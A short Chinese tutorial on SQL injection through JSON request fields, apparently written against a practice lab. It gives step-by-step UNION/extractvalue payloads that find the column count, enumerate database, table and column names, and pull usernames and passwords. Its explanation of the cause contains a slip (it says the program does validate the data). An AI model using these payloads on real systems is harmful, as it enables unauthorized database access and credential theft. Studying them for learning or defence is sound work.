当应用程序将用户输入的JSON数据直接拼接到SQL查询中,而没有充分验证和过滤时,就会产生JSON注入漏洞。
常见场景:
-
RESTful API接口
-
前后端分离应用
-
移动应用后端
-
微服务架构
json注入原理:json注入是指应用程序所解析的json数据来源于不可信赖的数据源,程序对这些不可信赖的数据进行验证,过滤,如果应用程序使用未经验证的输入构造json,则可以更改json数据的语义。
梳理json语句怎么使用:
{"username": "admin' union select..."}
这里先找他的列数吧
{"username": "admin' order by 1 #"}
{"username": "admin' order by 2 #"}依次类推
1.查询数据库
json={"username":"admin' union select 1,extractvalue(1,(concat(0x7e,(select database()),0x7e)))#"}
加入找到的是security数据库
2.查询到数据库后然后查询数据库的表
json={"username":"admin' union select 1,extractvalue(1,(concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e)))#"}
假如找到的的是user表
3.查询到数据库的表之后查列数
{"username":"admin' union select 1,extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),0x7e))#"}
4.然后在列数里面寻找有用的信息
{"username":"admin' union select 1,extractvalue(1,concat(0x7e,(select password from users limit 0,1),0x7e))#"}
{"username":"admin' union select 1,extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))#"}
拆分来看就是这样的一个写法:
{
"username": "admin' union select
1, -- 第一个字段占位
extractvalue(1, -- 第二个字段执行注入
concat(0x7e,
(select database()), -- 要提取的数据
0x7e)
) #"
}